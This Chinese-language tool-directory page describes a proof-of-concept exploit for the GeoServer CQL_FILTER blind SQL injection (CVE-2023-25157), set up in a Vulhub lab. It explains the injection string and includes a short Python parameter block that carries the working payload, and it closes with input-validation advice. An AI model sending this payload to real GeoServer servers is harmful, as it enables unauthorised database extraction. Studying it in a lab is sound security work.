Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
geoserver-CVE-2023-25157 — CVE-2023-25157 的概念验证漏洞利用程序,该漏洞是 GeoServer 的 WFS CQL_FILTER 参数中的一个盲 SQL 注入漏洞,可实现未认证数据提取。 | Kitploit
工具/GitHubGitHub/custiya/geoserver-cve-2023-25157
漏洞分析漏洞利用Web应用程序漏洞利用信息收集渗透测试
GitHubcustiya/geoserver-cve-2023-25157

geoserver-CVE-2023-25157

CVE-2023-25157 的概念验证漏洞利用程序,该漏洞是 GeoServer 的 WFS CQL_FILTER 参数中的一个盲 SQL 注入漏洞,可实现未认证数据提取。

查看仓库
1年前尚未审核

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

geoserver CVE-2023-25157

白帽第3期 [30班] 金廷宇


github链接 - https://github.com/custiya/geoserver-CVE-2023-25157

漏洞摘要

  • CVE-2023-25157是针对GeoServer这一开源地图数据服务Web应用程序发生的SQLi漏洞
  • 发生在GeoServer 2.22.0及以下的部分版本中
  • WFS(Web Feature Service)请求中的CQL_FILTER参数存在漏洞
  • 如果无需认证即可访问该API,任何人都可以利用

环境配置

  • 使用 docker compose up -d 命令运行测试环境
  • 可通过 http://your-ip:8080/geoserver 访问页面
  • 首先需要发现包含PostGIS数据存储的现有工作空间
  • Vulhub的GeoServer实例中已存在PostGIS数据存储
    • 工作空间名称: vulhub
    • 数据存储名称: pg
    • 表名称: example
    • 使用的属性: name

poc.py

  • 基于上述内容构建的SQL注入语句形式
  • 使用request模块将该语句发送到服务器
  • strStartsWith(name,'x'') = true
    • 在x后面多加一个单引号以破坏SQL语法
  • and 1=(SELECT CAST ((SELECT version()) AS integer))
    • version()函数返回PostgreSQL当前版本,类型为字符串
    • CAST(... AS integer)强制转换为整数,导致错误
    • 服务器将返回错误消息,从而可以测试盲SQL注入
root@kitploit:~
# 대상 URL
url = "http://localhost:8080/geoserver/ows"

# CQL_FILTER에 들어갈 원본 인젝션 문자열 (URL 디코딩된 상태)
cql_filter = "strStartsWith(name,'x'') = true and 1=(SELECT CAST ((SELECT version()) AS integer)) -- ') = true"

# 파라미터 설정
params = {
    "service": "wfs",
    "version": "1.0.0",
    "request": "GetFeature",
    "typeName": "vulhub:example",
    "CQL_FILTER": cql_filter
}

结果

结果

总结

  • 通过该POC可以判断是否存在SQL注入。攻击者可能通过SQL查询收集系统信息。
  • 为防止此类攻击,需要增加用户输入验证。此外,不应直接使用输入的SQL语句,而应将其单独存储后使用。
下载工具